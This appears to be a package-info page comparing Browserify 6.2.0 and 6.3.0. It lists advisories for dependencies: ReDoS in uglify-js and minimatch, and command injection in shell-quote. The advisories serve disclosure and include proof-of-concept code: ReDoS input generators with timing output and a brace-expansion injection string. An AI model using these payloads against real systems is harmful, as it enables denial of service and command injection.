Browserify version 6.3.0 arrived on November 11, 2014, succeeding version 6.2.0 released on October 25, 2014, maintaining its core purpose: enabling Node.js-style require() statements within browser-based JavaScript. Both iterations share the same core description, signifying no fundamental shift in the library's overall functionality.
A close examination reveals near-identical dependency listings. Both versions rely on identical versions of key dependencies like umd, url, glob, util, and xtend, indicating a period of stabilization. Developers upgrading won't face a cascade of breaking changes from updated sub-dependencies. The devDependencies also mirror each other perfectly. This consistency simplifies updates, reducing regression risks. This indicates a focus on stability and refinement rather than radical innovation between these releases.
The minimal changes likely encompass bug fixes, performance enhancements, or minor internal tweaks, improvements that won't drastically alter the development workflow but contribute to a more robust experience. Developers can upgrade with confidence knowing their existing Browserify configurations are highly likely to remain compatible
The release dates are a notable differentiator as well because they can help understand the time between versions and therefore the frequency of the releases. In conclusion, upgrading from 6.2.0 to 6.3.0 should be a straightforward process, delivering incremental improvements without introducing significant upheaval for developers already familiar with Browserify.
All the vulnerabilities related to the version 6.3.0 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >,;,{,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.